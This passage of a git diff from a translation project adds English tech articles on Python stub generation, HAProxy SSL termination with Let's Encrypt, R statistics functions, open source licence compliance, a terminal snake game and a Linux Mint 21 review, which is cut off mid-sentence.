defeats the purpose of using the decorators in the code. This is where automatic stub generation comes in. + +### Automatic stub generation + +To cut the long story short, the IDE is using static code analysis because it is afraid to run our code and does not have access to runtime objects to examine them. But if we write our code correctly while ensuring that it does not contain any side effects, and we can safely import it, then we can help the IDE to import these modules. From the imported modules we can inspect the module and create stub files without decorators, but the IDE will be able to pick it. + +Let us write some code to see how this can be implemented: + +``` +import importlib.util +from inspect import isfunction, signature +from io import StringIO +from types import ModuleType +def load_module_from_file (name: str, path: str): +spec = importlib.util.spec_from_file_location (name, path) +module = importlib.util.module_from_spec(spec) +spec. loader.exec_module(module) +return module +def generate_stub_content (module: ModuleType) -> str: +sio = StringIO() +for name, value in module.__dict_.items(): +if isfunction(value) and value.__module__== module.__name__: +sio.write(f’def {name}{signature (value)}:\n pass\n’) +return sio.getvalue() +def main(name, path): +with open (path + ‘i’, ‘w’) as stub_file: +module = load_module_from_file(name, path) +stub_file.write(generate_stub_content(module)) +if __name__== ‘__main__’: +main(‘sleepy’, ‘../sleepy/__init__.py’) +``` + +First, we have a function that receives the name of a module and a path to a source code. It imports the source code from the path as if it was a module called name. We’ll see how this works later. + +![Figure 8: Screen with highlighting error][8] + +Next, we need to create a special function that generates the stub files so that this function will accept the module object. This is a simplified version but will only generate stub files for functions. We will take our module and traverse all the attributes of our modules. If the value that is stored in the attribute is a function, and this function was defined in a specified module (some modules might be imported from somewhere else), then we only want to create the stub files to create the functions that are defined in our module. We will write the keyword, the name of the function, the signature of the function, and an empty body. The only thing ‘Function main’ does is that it takes a path to a module and imports it, creates a stub file, and then writes this file into the file that ends with an ‘I’. Now if we take a sleepy dot ‘py’ module, it will write the stub file to sleepy.pyi and we can run the code for our sleepy module. + +We want to import the sleepy module as a sleeper module, and it is located at sleepy/youNeedThatFile. We can get a long line of code by running it, but if we refactor the code we will see something like what is shown in Figure 9. + +![Figure 9: Result of refactoring the code][9] + +We now have the sleep_for function and a signature that is pretty much similar to what we expected but not quite. From this simple example we can see all the difficulties we will encounter while trying to take this approach. + +This code was simple and did not generate a syntactically correct Python file. This was because there was a problem with the default value and the required files were also not imported for it to be a valid Python file. We did not import literal and union, or define sleepy.TimeUnit. But since the IDE is clear, with a little more effort we can easily make this code work. + +In this case, we used the Stubmaker tool. This tool accepts the name and path to the package and output directories to generate stub files. This allows us to get automatically generated stub files that are created after introspecting the runtime objects. + +It is essential to understand the need for proper code analysis while working on a project. Try to seal as many loopholes as possible, so that problems like low cohesion are overcome. Developer time is valuable, and should be spent on improving the project rather than fixing routine problems. So, go for automatic stub generation to make their life easier too. + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/08/how-to-iron-out-ide-issues-with-auto-stub-generation/ + +作者:[Vladimir Losev][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/vladimir-losev/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-1-Sleepy-module-in-IDE.png +[2]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-2-A-simple-decorator.png +[3]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-3-Function-outputs.png +[4]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-4-Screen-with-signature.png +[5]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-5-Pop-up-window-with-list.png +[6]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-6-The-code.png +[7]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-7-Updated-IDE-1.png +[8]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-8-Screen-with-highlighting-error.png +[9]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-9-Result-of-refactoring-the-code.png diff --git a/sources/tech/20220817 How to Setup HAProxy SSL Termination on Ubuntu 22.04.md b/sources/tech/20220817 How to Setup HAProxy SSL Termination on Ubuntu 22.04.md new file mode 100644 index 0000000000..8a97cda437 --- /dev/null +++ b/sources/tech/20220817 How to Setup HAProxy SSL Termination on Ubuntu 22.04.md @@ -0,0 +1,183 @@ +[#]: subject: "How to Setup HAProxy SSL Termination on Ubuntu 22.04" +[#]: via: "https://www.linuxtechi.com/how-to-setup-haproxy-ssl-termination-ubuntu/" +[#]: author: "James Kiarie https://www.linuxtechi.com/author/james/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +How to Setup HAProxy SSL Termination on Ubuntu 22.04 +====== + +In our previous guide, we demonstrated how to install and configure HAProxy as a load balancer on Ubuntu 22.04. This guide is a continuation of that guide and, we will go a step further and demonstrate how to setup HAPrpxy SSL termination on Ubuntu 22.04 step by step. + +HA Proxy is a widely used and opensource HTTP load balancer and proxying solution for Linux, Solaris, and FreeBSD environments. It’s used to enhance the performance and reliability of web servers by distributing the workload across multiple servers. By so doing, it provides high availability of services and applications. + +#### SSL Termination + +The previous guide did not take into consideration the encryption of web traffic that goes through the HA Proxy load balancer. The incoming traffic that goes through the load balancer is in plain text and is, therefore, insecure and prone to eavesdropping by nefarious third parties. + +HAProxy can be configured to encrypt the traffic it receives before distributing it across the multiple backend servers. This is a preferred approach as opposed to encrypting individual backend servers which can be a tedious process This is where SSL termination comes in. + +The HAProxy encrypts the traffic between itself and the client and then relays the messages in clear text to the backend servers in your internal network.  It then encrypts the response from the backend servers and relays them to the clients + +The TLS/SSL certificates are stored only on the HAProxy load balancer rather than the multiple backend servers, thus reducing the workload on the servers. + +To demonstrate SSL termination, we will secure and configure the HAProxy load balancer with the Let’s encrypt certificate. + +For this to work, you need a Fully Qualified Domain Name (FQDN) or simply a registered domain name pointed to your HAProxy’s public IP address. In this guide, we have a domain called linuxtechgeek.info pointed to our HAProxy’s public IP. + +### Step 1) Install Certbot + +To obtain an SSL/TL certificate from Let’s Encrypt Authority, you first need to install certbot. Certbot is free and opensource software that is used for automating the deployment of Let’s Encrypt SSL certificates on websites. + +To install certbot login into the HAProxy server and, first, update the local package index: + +``` +$ sudo apt update +``` + +Next, install certbot using the following command: + +``` +$ sudo apt install -y certbot python3-certbot-apache +``` + +The python3-certbot-apache package is a plugin that allows Cerbot to work with Apache. With certbot installed, we can now proceed to obtain the SSL certificate. + +### Step 2) Obtaining SSL Certificate + +Let’s Encrypt provides a number of ways to obtain SSL Certificates using various plugins. Most of the plugins only assist in obtaining the certificate which requires manual configuration of the web server. These plugins are called ‘authenticators’ because they merely check whether the server should be issued a certificate. + +In this guide, we will show you how to obtain the SSL certificate using the Standalone plugin. The plugin employs a seamless method of obtaining SSL certificates. It does so by temporarily spawning a small web server on port 80 to which Let’s Encrypt CA can connect and validate your server’s identity before issuing a certificate. + +As such, you need to ensure that no service is listening on port 80. To check which services are listening on port 80, run the command. + +``` +$ netstat -na | grep ':80.*LISTEN' +``` + +If Apache is running on the HAProxy server, stop it as shown. + +``` +$ sudo systemctl stop apache2 +``` + +Next, run certbot using the standalone plugin to obtain the certificate + +``` +$ sudo certbot certonly --standalone --preferred-challenges http --http-01-port 80 -d linuxtechgeek.info -d www.linuxtechgeek.info +``` + +The plugin will walk you through a series of prompts. You will be prompted to provide your email address and later agree to the Let’s Encrypt Terms of Service. Also, you can decide to opt-in to receive EFF’s emails about news and campaigns surrounding digital freedom. + +If all goes well, the SSL certificate and key will be successfully saved on the server. These files are themselves saved in the /etc/letsencrypt/archives directory, but certbot creates a symbolic link to the /etc/letsencrypt/live/your_domain_name path. + +![Certbot-SSL-Certificates-Linux-Command-Line][1] + +Once the certificate has been obtained, you will have the following files in the /etc/letsencrypt/live/your_domain_name directory. + +* cert.pem  – This is your domain’s certificate. +* chain.pem – This is Let’s Encrypt chain certificate. +* fullchain.pem – Contains a combination of cert.pem and chain.pem +* privkey.pem – The private key to your certificate. + +### Step 3) Configure HAProxy to use SSL Certificate + +For HAProxy to carry out SSL Termination – so that it encrypts web traffic between itself and the clients or end users – you must combine the fullchain.pem and privkey.pem file into one file. + +But before you do so, create a directory where all the files will be placed. + +``` +$ sudo mkdir -p /etc/haproxy/certs +``` + +Next, create the combined file using the cat command as follows. + +``` +$ DOMAIN='linuxtechgeek.info' sudo -E bash -c 'cat /etc/letsencrypt/live/$DOMAIN/fullchain.pem /etc/letsencrypt/live/$DOMAIN/privkey.pem > /etc/haproxy/certs/$DOMAIN.pem' +``` + +![Combine-FullChain-Private-Key-Cat-command][2] + +Next, secure the file by assign the following permissions to the directory using chomd command. + +``` +$ sudo chmod -R go-rwx /etc/haproxy/certs +``` + +Now access the HAProxy configuration file. + +``` +$ sudo vim /etc/haproxy/haproxy.cfg +``` + +In the frontend section add an entry that binds your server’s IP to port 443 followed by the path to the combined key. + +``` +bind haproxy-ip:443 ssl crt /etc/haproxy/certs/domain.pem +``` + +To enforce redirection from HTTP to HTTPS, add the following entry. + +``` +redirect scheme https if !{ ssl_fc } +``` + +![SSL-Certs-HAProxy-Settings-Linux][3] + +Save the changes and exit the configuration file. Be sure to confirm that the syntax for HAProxy is okay using the following syntax. + +``` +$ sudo haproxy -f /etc/haproxy/haproxy.cfg -c +``` + +![Check-HAProxy-Syntax-Command][4] + +To apply the changes made, restart HAProxy + +``` +$ sudo systemctl restart haproxy +``` + +And ensure that it is running. + +``` +$ sudo systemctl status haproxy +``` + +![HAProxy-Status-Ubuntu-Linux][5] + +### Step 4) Verifying SSL Termination + +Finally, refresh your browser, and this time around, you will find that your load balancer is now secured with a TLS/SSL as evidenced by the padlock icon in the URL bar. + +![Verify-SSL-Tremination-Node1-Page][6] + +![Verify-SSL-Tremination-Node2-Page][7] + +##### Conclusion + +In this guide, we have demonstrated how to set up SSL termination with HAProxy on Ubuntu 22.04. Your feedback is welcome. + +-------------------------------------------------------------------------------- + +via: https://www.linuxtechi.com/how-to-setup-haproxy-ssl-termination-ubuntu/ + +作者:[James Kiarie][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.linuxtechi.com/author/james/ +[b]: https://github.com/lkxed +[1]: https://www.linuxtechi.com/wp-content/uploads/2022/08/Certbot-SSL-Certificates-Linux-Command-Line.png +[2]: https://www.linuxtechi.com/wp-content/uploads/2022/08/Combine-FullChain-Private-Key-Cat-command.png +[3]: https://www.linuxtechi.com/wp-content/uploads/2022/08/SSL-Certs-HAProxy-Settings-Linux.png +[4]: https://www.linuxtechi.com/wp-content/uploads/2022/08/Check-HAProxy-Syntax-Command.png +[5]: https://www.linuxtechi.com/wp-content/uploads/2022/08/HAProxy-Status-Ubuntu-Linux.png +[6]: https://www.linuxtechi.com/wp-content/uploads/2022/08/Verify-SSL-Tremination-Node1-Page.png +[7]: https://www.linuxtechi.com/wp-content/uploads/2022/08/Verify-SSL-Tremination-Node2-Page.png diff --git a/sources/tech/20220818 The Functions in the R Stats Package.md b/sources/tech/20220818 The Functions in the R Stats Package.md new file mode 100644 index 0000000000..222e32135b --- /dev/null +++ b/sources/tech/20220818 The Functions in the R Stats Package.md @@ -0,0 +1,284 @@ +[#]: subject: "The Functions in the R Stats Package" +[#]: via: "https://www.opensourceforu.com/2022/08/the-functions-in-the-r-stats-package/" +[#]: author: "Shakthi Kannan https://www.opensourceforu.com/author/shakthi-kannan/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +The Functions in the R Stats Package +====== +We have learnt the basics of the R programming language, its syntax and semantics, and are now ready to delve into the statistics domain using R. In this eleventh article in the R series, we will learn to use the statistics functions available in the R stats package. + +As we have done in the earlier parts of this series, we are going to use the R version 4.1.2 installed on Parabola GNU/Linux-libre (x86-64) for the code snippets. + +``` +$ R --version +R version 4.1.2 (2021-11-01) -- “Bird Hippie” +Copyright (C) 2021 The R Foundation for Statistical Computing +Platform: x86_64-pc-linux-gnu (64-bit) + +R is free software and comes with ABSOLUTELY NO WARRANTY. +You are welcome to redistribute it under the terms of the +GNU General Public License versions 2 or 3. +For more information about these matters see https://www.gnu.org/licenses/ +``` + +### Mean + +The R function for calculating the arithmetic mean is mean. It accepts an R object ‘x’ as an argument, and a ‘trim’ option to trim any fractions before computing the mean value. The ‘na.rm’ logical argument can be used to ignore any NA values. Its syntax is as follows: + +``` +mean(x, trim = 0, na.rm = FALSE, ...) +``` + +The function supports numerical and logical values, as well as date and time intervals. A few examples for the mean function are given below: + +``` +> mean(c(1, 2, 3)) +2 + +> mean(c(1:5, 10, 20)) +6.428571 + +> mean(c(FALSE, TRUE, FALSE)) +0.3333333 + +> mean(c(TRUE, TRUE, TRUE)) +1 +``` + +Consider the ‘Bank Marketing Data Set’ for a Portuguese banking institution that is available from the UCI Machine Learning Repository available at *https://archive.ics.uci.edu/ml/datasets/Bank+Marketing*. The data can be used for public research. There are four data sets available, and we will use the read.*csv()* function to import the data from a ‘bank*.csv*’ file. + +``` +> bank <- read.csv(file=”bank.csv”, sep=”;”) + +> bank[1:3,] + age job marital education default balance housing loan contact day +1 30 unemployed married primary no 1787 no no cellular 19 +2 33 services married secondary no 4789 yes yes cellular 11 +3 35 management single tertiary no 1350 yes no cellular 16 + month duration campaign pdays previous poutcome y +1 oct 79 1 -1 0 unknown no +2 may 220 1 339 4 failure no +3 apr 185 1 330 1 failure no +``` + +We can find the mean age from the bank data as follows: + +``` +> mean(bank$age) +41.1701 +``` + +### Median + +The *median* function in the R stats package computes the sample median. It accepts a numeric vector ‘x’, and a logical value ‘na.rm’ to indicate if it should discard ‘NA’ values before computing the median. Its syntax is as follows: + +``` +median(x, na.rm = FALSE, ...) +``` + +A couple of examples are given below: + +``` +> median(3:5) +4 +> median(c(3:5, 50, 150)) +[1] 5 +``` + +We can now find the median age from the bank data set as follows: + +``` +> median(bank$age) +39 +``` + +### Pair + +The*pair* function can be used to combine two vectors. It accepts two arguments, and vectors ‘x’ and ‘y’. Both the vectors should have the same length. The syntax is as follows: + +``` +Pair(x, y) +``` + +The function returns a two column matrix of class ‘Pair’. An example is given below: + +``` +> Pair(c(1,2,3), c(4,5,6)) + x y +[1,] 1 4 +[2,] 2 5 +[3,] 3 6 +attr(,”class”) +[1] “Pair” +``` + +The function is used for paired tests such as *t.test* and *wilcox.test*. + +### dist + +The *dist* function is used to calculate the distance matrix for the rows in a data matrix, and accepts the following arguments: + +| Argument | Description | +| :- | :- | +| x | A numeric matrix | +| method | The distance measure to be used | +| diag | Prints diagonal of distance matrix if TRUE | +| upper | Prints upper triangle of distance matrix if TRUE | +| p | Power of the Minkowski distance | + +The distance measurement methods supported are: ‘euclidean’, ‘maximum’, ‘manhattan’, ‘canberra’, ‘binary’ and ‘minkowski’. The distance measurement for the age data set using the Euclidean distance is given below: + +``` +> dist(bank$age, method=”euclidean”, diag=FALSE, upper=FALSE, p=2) + 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 +2 3 +3 5 2 +4 0 3 5 +5 29 26 24 29 +6 5 2 0 5 24 +7 6 3 1 6 23 1 +8 9 6 4 9 20 4 3 +9 11 8 6 11 18 6 5 2 +10 13 10 8 13 16 8 7 4 2 +11 9 6 4 9 20 4 3 0 2 4 +12 13 10 8 13 16 8 7 4 2 0 4 +13 6 3 1 6 23 1 0 3 5 7 3 7 +14 10 13 15 10 39 15 16 19 21 23 19 23 16 +15 1 2 4 1 28 4 5 8 10 12 8 12 5 11 +16 10 7 5 10 19 5 4 1 1 3 1 3 4 20 9 +17 26 23 21 26 3 21 20 17 15 13 17 13 20 36 25 16 +18 7 4 2 7 22 2 1 2 4 6 2 6 1 17 6 3 19 +19 5 8 10 5 34 10 11 14 16 18 14 18 11 5 6 15 31 12 +20 1 2 4 1 28 4 5 8 10 12 8 12 5 11 0 9 25 6 6 +21 8 5 3 8 21 3 2 1 3 5 1 5 2 18 7 2 18 1 13 7 +22 12 9 7 12 17 7 6 3 1 1 3 1 6 22 11 2 14 5 17 11 4 +23 14 11 9 14 15 9 8 5 3 1 5 1 8 24 13 4 12 7 19 13 6 2 + 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 +... +``` + +The binary distance measurement output for the same bank age data is as follows: + +``` +> dist(bank$age, method=”binary”, diag=FALSE, upper=FALSE, p=2) + 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 +2 0 +3 0 0 +4 0 0 0 +5 0 0 0 0 +6 0 0 0 0 0 +7 0 0 0 0 0 0 +8 0 0 0 0 0 0 0 +9 0 0 0 0 0 0 0 0 +10 0 0 0 0 0 0 0 0 0 +11 0 0 0 0 0 0 0 0 0 0 +12 0 0 0 0 0 0 0 0 0 0 0 +13 0 0 0 0 0 0 0 0 0 0 0 0 +14 0 0 0 0 0 0 0 0 0 0 0 0 0 +15 0 0 0 0 0 0 0 0 0 0 0 0 0 0 +16 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 +17 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 +18 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 +19 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 +20 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 +21 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 +22 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 +23 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 + 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 +``` + +### Quantile + +The quantiles can be generated for a numeric vector ‘x’ along with their given probabilities using the quantile function. The ‘NA’ and ‘NaN’ values are not allowed in the vector, unless ‘na.rm’ is set to TRUE. The probability of 0 is for the lowest observation and 1 for the highest. Its syntax is as follows: + +``` +quantile(x, ...) +``` + +The quantile function accepts the following arguments: + +| Argument | Description | +| :- | :- | +| x | A numeric vector | +| probs | A vector of probabilities between 0 and 1 | +| na.rm | NA and NaN values are ignored if TRUE | +| names | If TRUE, the result has the names attribute | +| type | An integer to select any of the nine quantile algorithms | +| digits | The decimal precision to use | +| … | Additional arguments passed to or from other methods | + +The *rnorm* function can be used to generate random values for the normal distribution. It can take ‘n’ number of observations, a vector of ‘means’, and a vector ‘sd’ of standard deviations as its arguments. We can obtain the quantiles for the values produced by the ‘rnorm’ function. For example: + +``` +> quantile(x <- rnorm(100)) + 0% 25% 50% 75% 100% +-1.978171612 -0.746829079 -0.009440368 0.698271134 1.897942805 +``` + +The quantiles for bank age data with the following probabilities can be generated as follows: + +``` +> quantile(bank$age, probs = c(0.1, 0.5, 1, 2, 5, 10, 50)/100) +0.1% 0.5% 1% 2% 5% 10% 50% +20.0 22.6 24.0 25.0 27.0 29.0 39.0 +``` + +### Interquartile range + +The *IQR* function computes the interquartile range for the numeric values of a vector. Its syntax is as follows: + +``` +IQR(x, na.rm = FALSE, type = 7) +``` + +The ‘type’ argument specifies an integer to select the quantile algorithm, which is discussed in Hyndman and Fan (1996). The interquartile range for the bank age can be computed as shown below: + +``` +> IQR(bank$age, na.rm = FALSE, type=7) +16 +``` + +### Standard deviation + +The *sd* function is used to calculate the standard deviation for a set of values. It accepts a numeric vector ‘x’ and a logical value for ‘na.rm’ to remove missing values. Its syntax is as follows: + +``` +sd(x, na.rm = FALSE) +``` + +The standard deviation for a vector with length zero or 1 is ‘NA’. A couple of examples are given below: + +``` +> sd(1:10) +3.02765 + +> sd(1) +NA +``` + +We can calculate the standard deviation for the bank age column as follows: + +``` +> sd(bank$age) +10.57621 +``` + +You are encouraged to explore more functions available in the stats packages available in R. + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/08/the-functions-in-the-r-stats-package/ + +作者:[Shakthi Kannan][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/shakthi-kannan/ +[b]: https://github.com/lkxed diff --git a/sources/tech/20220819 5 Ways To Prevent Open Source Licensing Violations.md b/sources/tech/20220819 5 Ways To Prevent Open Source Licensing Violations.md new file mode 100644 index 0000000000..fccc502b7a --- /dev/null +++ b/sources/tech/20220819 5 Ways To Prevent Open Source Licensing Violations.md @@ -0,0 +1,46 @@ +[#]: subject: "5 Ways To Prevent Open Source Licensing Violations" +[#]: via: "https://www.opensourceforu.com/2022/08/5-ways-to-prevent-open-source-licensing-violations/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +5 Ways To Prevent Open Source Licensing Violations +====== +Developers can save time and avoid having to reinvent the wheel by integrating open source software into their codebases. However, it also carries a significant danger of infringement on licences. You must adhere to whatever of the many open source licences that apply to reused open source code. If you don’t, you (or the company you work for) run the danger of being sued for breaking the terms of the open source licences. Even if these lawsuits are not widespread, they do occur. In fact, given that many open source projects are now run by businesses keen to protect their investment in open source communities, they may occur more frequently in the future. + +1. Become familiar with open source licencing + +Understanding open source licences is the single most crucial step in preventing concerns with open source licencing infringement. It’s simple to think that all open source licences impose the same conditions or that they all essentially call for the continued availability of the source code. In fact, there are dozens upon dozens of different open source licences, and they all have quite different terms. It’s a grave error to believe that simply because you get code from an open source project, you can use it whatever you like as long as you maintain the source code accessible. One typical — yet frequently missed — condition of several open source licences can be the necessity to provide credit to the original authors. + +1. Record Your Use of Open Source + +Creating a standardised method for documenting when you use open source code is a second excellent practise. Importing a module or pasting code from GitHub is simple enough. But if you don’t keep track of where that code comes from or under what licence, you can forget how and where you’re integrating open source into your codebase. Additionally, it becomes more difficult to demonstrate that you complied with the licencing conditions in effect when you borrowed the code, which could be problematic if the open source licence in force changes. Consider adding a page to your documentation wiki (if you have one) that lists the open source code you used to avoid this problem. Whenever you include open source components or dependencies, you should at the very least add comments inside your own source code. + +1. Steer clear of unauthorised open source components + +There are occasions when you may stumble across a hidden GitHub repository or other source code hosting location that has code you wish to use but doesn’t mention any licence guidelines. You could be tempted to believe that the creators of the code want it to be open source and that you can use it whatever you like. But that’s a perilous supposition. It’s possible that the developers will subsequently set specific licence conditions on the code and require you to abide by them, which could result in claims of licencing infringement in the future. Avoid using obscure code that lacks clear licencing restrictions unless you have a very solid reason to do so. + +1. Create Open Source Code of Your Own + +Making your own software totally open source is one method to reduce some of the risks associated with open source licencing. This implies that you’ll automatically adhere to any open source licencing conditions that call for the preservation of derivative source code. However, keep in mind that merely opening up your own code doesn’t ensure complete licencing compliance. You’ll still need to put in some effort to make sure you abide by the rules of each licence because the licences that apply to the code you borrowed may not be the same as the open source licence you select. However, you won’t have to worry about any clauses pertaining to source code sharing. + +1. Detect Open Source Components Automatically + +Although it’s great practise to manually track where and how you utilise open source inside your codebase, you can lower the likelihood of mistakes by employing software that identifies open source components and dependencies automatically. Here, we should think about two different kinds of tools. One of these is Source Composition Analysis, or SCA, software that automatically scans source code and identifies elements that were taken from trusted outside sources. The other is software supply chain management solutions, which support finding and monitoring any open source dependencies present in your application stack in addition to other things. + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/08/5-ways-to-prevent-open-source-licensing-violations/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed diff --git a/sources/tech/20220819 sssnake – A Super Addictive Snake Game for Linux Terminal.md b/sources/tech/20220819 sssnake – A Super Addictive Snake Game for Linux Terminal.md new file mode 100644 index 0000000000..65ffa3a49d --- /dev/null +++ b/sources/tech/20220819 sssnake – A Super Addictive Snake Game for Linux Terminal.md @@ -0,0 +1,117 @@ +[#]: subject: "sssnake – A Super Addictive Snake Game for Linux Terminal" +[#]: via: "https://www.debugpoint.com/sssnake-game-linux/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +sssnake – A Super Addictive Snake Game for Linux Terminal +====== +Try out this fun sssnake game in your Linux terminal. + +Spending too much time on Linux, in general can be counter-productive. Our brain is not designed to work continuously. That’s why you need some activities to free up your mind. Some take walks, have coffee breaks, and go for a drive. But for some who can’t leave the desktop – there are very few choices to relax. + +Here’s a classic snake game which only requires a terminal for you. Whil;e it may not be the ultimate solution, but hey, give it a try. + +### sssnake game for Linux terminal + +The sssnaks is one of variant of [classic snake game][1]. The classic snake game is famous since the Nokia 3300 device, before the smartphone revolution. + +This game requires the ncurses-devel package for compilation from Git. + +So, fire up a terminal and run the following command to install the ncurses. + +* Ubuntu Linux and other similar distros: + +``` +sudo apt install git libncurses-dev +``` + +* For Fedora and related distros: + +``` +sudo dnf install git ncurses-devel +``` + +* Arch folks, use this: + +``` +sudo pacman -S ncurses +``` + +After installation, clone the [official Git repo][2] and compile. + +``` +git clone https://github.com/AngelJumbo/sssnake.gitcd sssnakemakesudo make install +``` + +![Installing sssnake game in Linux (Fedora)][3] + +That’s it. It’s now time to play the game. + +### Playing the sssnake game in Linux + +Since it’s a terminal-based game, run the below command to verify whether it got installed. It outputs the help and instructions (if you want to read them). + +``` +sssnake -h +``` + +Alright, its time to play. + +Run the following to start the game normally. You can steer the snake head with keys – WASD or HJKL from the keyboard. + +sssnake + +* You can use the option `-a` for autoplay mode. It can play itself, and you can watch it. +* Use the option `-S` for set it as screensaver. +* Control the speed using `-s` and followed by number for speed. +* And add random blocks for difficult with option `-j`. + +![sssnake game in terminal in Fedora Linux][4] + +Ready? + +Here are some commands for you to try. + +* Use this for standard speed. + +``` +sssnake -s 13 +``` + +* The following command gives you some blocks to avoid. + +``` +sssnake -a -s 13 -j 5 +``` + +* And finally, run this and see the computer plays for you. + +``` +sssnake -a -s 13 -j 5 +``` + +* You can combine above commands as per your comfort and difficulty level. + +Cheers. + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/sssnake-game-linux/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/tag/snake-game +[2]: https://github.com/AngelJumbo/sssnake +[3]: https://www.debugpoint.com/wp-content/uploads/2022/08/Installing-sssnake-game-in-Linux-Fedora.jpg +[4]: https://www.debugpoint.com/wp-content/uploads/2022/08/sssnake-game-in-terminal-in-Fedora-Linux-1.jpg diff --git a/sources/tech/20220820 Linux Mint 21 Review- The Best Distro Just Got a Little Better.md b/sources/tech/20220820 Linux Mint 21 Review- The Best Distro Just Got a Little Better.md new file mode 100644 index 0000000000..4c5f2dff03 --- /dev/null +++ b/sources/tech/20220820 Linux Mint 21 Review- The Best Distro Just Got a Little Better.md @@ -0,0 +1,152 @@ +[#]: subject: "Linux Mint 21 Review: The Best Distro Just Got a Little Better" +[#]: via: "https://itsfoss.com/linux-mint-21-review/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Linux Mint 21 Review: The Best Distro Just Got a Little Better +====== +Linux Mint 21 ‘Vanessa’ is a fantastic upgrade. + +If you haven’t upgraded yet, you can [follow our step-by-step tutorial][1] to get help. + +But should you proceed to upgrade? Is Linux Mint 21 good enough for users? Does it have any quirks that you should know of? + +Here, let me highlight some important information to help you decide whether you should give it a try or not. + +### Linux Mint 21: What’s New? + +If you want to give it a try based on what’s new in it, here are the key highlights: + +* New upgrade tool +* New Bluetooth manager +* Addition of a process monitor tray icon +* Improved thumbnail support +* Desktop environment upgrades (Cinnamon 5.4.2, Xfce 4.16), MATE 1.26 +* New beautiful wallpapers +* Ubuntu 22.04 LTS base + +You can watch the video to get a quick idea about the changes: + +![Youtube Video][2] + +Don’t expect a major visual makeover with the upgrade. In fact, Linux Mint 21 is not a massive upgrade either. + +It concerns a few functionality/usability refinements on top of Ubuntu 22.04 LTS. + +### User Experience and Desktop Environment Upgrades + +![linux mint 21 home][3] + +Linux Mint 21 includes some big under-the-hood refinements, especially, for the Cinnamon edition. + +Cinnamon 5.4 features a major rebase of its window manager Muffin, based on Mutter 3.36. + +While there were several changes with Mutter, it took time to bring in the same features and optimizations to Muffin. + +With Cinnamon 5.4, Muffin’s codebase is much closer to the upstream. This should also translate to better performance and new features down the line. + +Not just limited to technical upgrades, you can notice some visual updates that include: + +* Rounded corners for windows look crispier. +* Window animation improvements. + +For other editions, you will find MATE 1.26, and Xfce 4.16 with the upgrade. No special under-the-hood refinements have been mentioned for those editions. However, with Ubuntu 22.04 as the base, you can expect core upgrades to the experience. + +Another enhancement that adds to the user experience of Linux Mint 21 is the support for thumbnails with file types including *WebP, AppImage, ePub, MP3, and RAW pictures.* + +With the file manager, it looks good to have thumbnails for all kinds of file types. It makes it easier to recognize and find what 